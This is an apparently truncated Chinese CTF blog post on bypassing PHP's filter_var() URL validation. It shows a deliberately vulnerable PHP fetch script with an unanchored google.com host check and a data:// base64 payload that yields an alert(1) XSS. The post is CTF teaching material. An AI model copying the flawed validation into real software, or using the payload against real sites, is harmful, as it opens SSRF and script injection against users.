SSRF绕过filter_var( ) & data:// xss

最新推荐文章于 2024-09-13 10:49:50 发布

PD_3569

最新推荐文章于 2024-09-13 10:49:50 发布

阅读量760

点赞数

分类专栏： CTF

本文链接：https://blog.csdn.net/qq_33020901/article/details/79580531

版权

CTF 专栏收录该内容

20 篇文章 0 订阅

订阅专栏

当 php 如此构造

<?php
   echo "Argument: ".$argv[1]."n";
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match('/google.com$/', $r['host'])) {
         // get page from URL
         $a = file_get_contents($argv[1]);
         echo($a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

产生XSS payload :

http://xxx.com/123asd.php?1=data://text/plain;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

绕过匹配：